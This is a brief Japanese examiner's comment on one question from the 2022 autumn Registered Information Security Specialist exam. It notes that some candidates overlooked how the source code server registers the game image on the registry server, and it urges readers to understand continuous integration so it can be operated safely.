設問3(4)は,正答率が平均的であったが,ソースコードサーバがレジストリサーバにゲームイメージを登録することを見落としている解答が一部に見られた。本問に示した,継続的インテグレーションと呼ばれる手法は,ソフトウェア開発の現場で広く活用されている。安全に運用できるように,よく理解しておいてほしい。

出典:令和4年度 秋期 情報処理安全確保支援士試験 午後Ⅰ 問3(表記を一部改変)